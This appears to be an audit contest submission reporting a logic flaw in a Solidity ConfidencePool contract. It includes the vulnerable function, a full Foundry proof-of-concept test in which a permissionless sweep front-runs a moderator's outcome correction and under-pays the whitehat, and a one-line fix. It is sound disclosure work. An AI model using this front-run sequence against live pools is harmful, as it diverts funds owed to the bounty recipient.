FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Bonus pool swept to recoveryAddress before a SURVIVED→good-faith-CORRUPTED re-flag under-pays the named whitehat (ConfidencePool.sweepUnclaimedBonus)

Author Revealed upon completion

Root + Impact

Description

  • For a good-faith CORRUPTED outcome, DESIGN §12 and the README guarantee the entire pool (snapshotTotalStaked + snapshotTotalBonus) becomes the named whitehat attacker's bounty, and the moderator may re-flag a wrong outcome any time before the first claim (claimsStarted == false), including correcting an out-of-scope SURVIVED judgement to an in-scope good-faith CORRUPTED.

  • sweepUnclaimedBonus is permissionless and deliberately does not latch claimsStarted, but when riskWindowStart == 0 it treats the whole bonus as unowed and sweeps it to recoveryAddress, zeroing totalBonus; a following good-faith CORRUPTED re-flag then re-snapshots snapshotTotalBonus = totalBonus = 0, so the whitehat's bounty is only the principal and the bonus is stranded at the sponsor-controlled recoveryAddress.

function sweepUnclaimedBonus() external {
uint256 reserved;
if (totalEligibleStake != 0) {
reserved = totalEligibleStake;
if (riskWindowStart != 0) { // @> riskWindowStart==0 => bonus NOT reserved
reserved += snapshotTotalBonus - claimedBonus;
}
}
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 amount = freeBalance > reserved ? freeBalance - reserved : 0;
if (amount == 0) revert NothingToSweep();
if (totalEligibleStake == 0 || riskWindowStart == 0) {
totalBonus -= amount <= totalBonus ? amount : totalBonus; // @> full bonus leaves, totalBonus -> 0
}
// @> intentionally does NOT set claimsStarted, so the re-flag window stays open after real value left
stakeToken.safeTransfer(recoveryAddress, amount);
}
// flagOutcome then re-snapshots from the now-zeroed live total:
snapshotTotalBonus = totalBonus; // @> reads 0
bountyEntitlement = willBeGoodFaithCorrupted
? snapshotTotalStaked + snapshotTotalBonus : 0; // @> principal only

Risk

Likelihood:

  • Occurs when the registry reaches CORRUPTED with no active-risk state ever observed by the pool (riskWindowStart == 0, a state DESIGN §5/§7 treat as reachable), the moderator first flags SURVIVED (a valid judgement on a CORRUPTED registry), and any account calls the permissionless sweepUnclaimedBonus before the moderator corrects to good-faith CORRUPTED.

  • The front-run is directly incentivized: the recoveryAddress beneficiary (the sponsor) profits by calling sweepUnclaimedBonus themselves during the open correction window.

Impact:

  • The named whitehat attacker receives strictly less than the "entire pool" the spec guarantees — the full snapshotTotalBonus, which can be the majority of the pool, is routed to recoveryAddress instead of the whitehat.

  • Breaks the DESIGN §12 invariant that bountyEntitlement == snapshotTotalStaked + snapshotTotalBonus for good-faith CORRUPTED, and the design's own premise that "genuine reliance only comes from claim entrypoints."

Proof of Concept

Two tests, same setup, one variable changed — both pass. The focused exploit is shown first for reading; the full self-contained file follows for running.

Focused exploit (the vulnerable sequence):

// Exploit: a permissionless sweep front-runs the SURVIVED -> good-faith-CORRUPTED
// correction and shorts the whitehat by the full bonus.
function test_sweep_frontruns_reflag_shorts_whitehat() public {
_stake(alice, 100 ether);
_contributeBonus(bob, 100 ether); // third-party bonus meant to reward the whitehat
// Agreement breached: the registry jumps straight to CORRUPTED with no pool interaction
// during any active-risk state, so riskWindowStart stays 0 (DESIGN §5/§7 treat this as reachable).
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
// Moderator's FIRST judgement: SURVIVED (believes the breach was out-of-scope). Valid on a
// CORRUPTED registry, and it does NOT latch claimsStarted -> the re-flag window stays open.
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertFalse(pool.claimsStarted(), "re-flag window still open");
assertEq(pool.riskWindowStart(), 0, "no risk window observed");
// Griefer (anyone) front-runs the correction with a permissionless sweep. Because
// riskWindowStart == 0 the FULL bonus is treated as unowed and swept to recovery;
// sweepUnclaimedBonus intentionally does NOT set claimsStarted.
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery), 100 ether, "full bonus diverted to recovery");
assertEq(pool.totalBonus(), 0, "live bonus zeroed");
assertFalse(pool.claimsStarted(), "re-flag STILL allowed after sweep");
// Moderator CORRECTS to good-faith CORRUPTED naming the whitehat (still permitted: !claimsStarted).
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
// The whitehat's bounty should be the whole pool (200e18). It is only the principal,
// because the re-snapshot read the already-zeroed totalBonus.
assertEq(pool.bountyEntitlement(), 100 ether, "BUG: bounty missing the 100 ether bonus");
vm.prank(attacker);
pool.claimAttackerBounty();
assertEq(token.balanceOf(attacker), 100 ether, "whitehat under-paid by the full bonus");
assertEq(token.balanceOf(recovery), 100 ether, "bonus permanently diverted to recovery");
}

Full runnable test — test/poc/SweepReflagStandalone.t.sol

Self-contained: depends only on the in-scope src/ contracts + OpenZeppelin + forge-std (both vendored in the repo). Drop into test/poc/ and run:

forge test --match-path 'test/poc/SweepReflagStandalone.t.sol' -vvv

Result: 2 passed; 0 failed. The exploit pays the whitehat only 100e18 (principal), stranding the 100e18 bonus at recovery; the control (no sweep) pays the full 200e18, isolating sweepUnclaimedBonus as the sole cause.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
/*//////////////////////////////////////////////////////////////////////////
SELF-CONTAINED MINIMAL TEST DOUBLES
(Mirror the contest's own test/mocks/* — matching selectors is enough
for the pool's address-cast call sites; inlined so this file is a
single drop-in that needs only the in-scope src/ contracts + OZ.)
//////////////////////////////////////////////////////////////////////////*/
contract MockERC20 is ERC20 {
constructor() ERC20("Mock", "MOCK") {}
function mint(address to, uint256 amount) external { _mint(to, amount); }
}
contract MockAttackRegistry {
IAttackRegistry.ContractState internal state;
function setAgreementState(IAttackRegistry.ContractState s) external { state = s; }
function getAgreementState(address) external view returns (IAttackRegistry.ContractState) { return state; }
function getAttackModerator(address) external pure returns (address) { return address(0); }
}
contract MockSafeHarborRegistry {
address internal attackRegistry;
mapping(address => bool) internal validAgreement;
function setAttackRegistry(address a) external { attackRegistry = a; }
function setAgreementValid(address a, bool v) external { validAgreement[a] = v; }
function getAttackRegistry() external view returns (address) { return attackRegistry; }
function isAgreementValid(address a) external view returns (bool) { return validAgreement[a]; }
}
contract MockAgreement {
address internal agreementOwner;
mapping(address => bool) internal _inScope;
constructor(address owner_) { agreementOwner = owner_; }
function owner() external view returns (address) { return agreementOwner; }
function setContractInScope(address a, bool s) external { _inScope[a] = s; }
function isContractInScope(address a) external view returns (bool) { return _inScope[a]; }
}
/*//////////////////////////////////////////////////////////////////////////
THE POC
//////////////////////////////////////////////////////////////////////////*/
/// Demonstrates that a permissionless `sweepUnclaimedBonus` fired during the moderator's OPEN
/// re-flag correction window (claimsStarted == false) irreversibly diverts the whole bonus pool
/// to `recoveryAddress`, so a subsequent (documented, supported) moderator correction from
/// SURVIVED to good-faith CORRUPTED under-pays the named whitehat by the full bonus amount —
/// violating DESIGN §12 ("the entire pool is the named attacker's bounty").
///
/// Run: forge test --match-path 'test/poc/SweepReflagStandalone.t.sol' -vvv
contract SweepReflagStandaloneTest is Test {
uint256 internal constant ONE = 1e18;
address internal constant SCOPE_ACC = address(0xC0FFEE);
uint256 internal constant BASE_TS = 1_750_000_000;
MockERC20 internal token;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAgreement internal agreementContract;
ConfidencePool internal pool;
address internal agreement;
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal attacker = makeAddr("attacker");
address internal alice = makeAddr("alice");
address internal bob = makeAddr("bob");
function setUp() public {
vm.warp(BASE_TS);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreementContract = new MockAgreement(address(this));
agreement = address(agreementContract);
agreementContract.setContractInScope(SCOPE_ACC, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(agreement, true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool implementation = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(implementation)));
address[] memory scope = new address[](1);
scope[0] = SCOPE_ACC;
pool.initialize(
agreement,
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
ONE,
recovery,
address(this),
scope
);
}
function _stake(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
// ------------------------------------------------------------------ //
// Exploit: sweep front-runs the SURVIVED -> good-faith-CORRUPTED //
// correction and shorts the whitehat by the full bonus. //
// ------------------------------------------------------------------ //
function test_sweep_frontruns_reflag_shorts_whitehat() public {
_stake(alice, 100 ether);
_contributeBonus(bob, 100 ether); // third-party bonus meant to reward the whitehat
// Agreement breached; registry jumps straight to CORRUPTED with no pool interaction during
// any active-risk state, so riskWindowStart stays 0 (a state DESIGN §5/§7 treat as reachable).
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
// Moderator's first judgement: SURVIVED (believes the breach was out-of-scope). Valid on a
// CORRUPTED registry; does NOT latch claimsStarted, so the re-flag window stays open.
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertFalse(pool.claimsStarted(), "re-flag window still open");
assertEq(pool.riskWindowStart(), 0, "no risk window observed");
// Anyone front-runs the correction with a permissionless sweep. riskWindowStart == 0 => the
// full bonus is treated as unowed and swept to recovery; claimsStarted is NOT set.
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery), 100 ether, "full bonus diverted to recovery");
assertEq(pool.totalBonus(), 0, "live bonus zeroed");
assertFalse(pool.claimsStarted(), "re-flag STILL allowed after sweep");
// Moderator corrects to good-faith CORRUPTED naming the whitehat (still permitted).
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
// Should be the whole pool (200e18). It is only the principal: the re-snapshot read the
// zeroed totalBonus.
assertEq(pool.bountyEntitlement(), 100 ether, "BUG: bounty missing the 100 ether bonus");
vm.prank(attacker);
pool.claimAttackerBounty();
assertEq(token.balanceOf(attacker), 100 ether, "whitehat under-paid by the full bonus");
assertEq(token.balanceOf(recovery), 100 ether, "bonus permanently diverted to recovery");
}
// ------------------------------------------------------------------ //
// Control: without the front-run sweep, the same correction pays //
// the whitehat the whole pool (200e18). //
// ------------------------------------------------------------------ //
function test_control_reflag_pays_whitehat_full_pool() public {
_stake(alice, 100 ether);
_contributeBonus(bob, 100 ether);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// (no sweep)
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(pool.bountyEntitlement(), 200 ether, "full pool is the bounty");
vm.prank(attacker);
pool.claimAttackerBounty();
assertEq(token.balanceOf(attacker), 200 ether, "whitehat gets principal + bonus");
}
}

Recommended Mitigation

Latch outcome finality when a bonus sweep removes real reliance value (the full-bonus, no-observed-risk-window branch), so a later re-flag cannot promise a good-faith CORRUPTED bounty the pool can no longer pay.

This preserves the existing intent that a dust donation must not block the moderator's re-flag window: ordinary excess/donation sweeps (observed risk window, live stakers) never enter this branch, so they still do not latch finality.

if (totalEligibleStake == 0 || riskWindowStart == 0) {
totalBonus -= amount <= totalBonus ? amount : totalBonus;
+ // Bonus has irreversibly left the pool; latch finality so a later re-flag can't
+ // promise a good-faith CORRUPTED bounty the pool can no longer pay (DESIGN §12).
+ if (!claimsStarted) claimsStarted = true;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!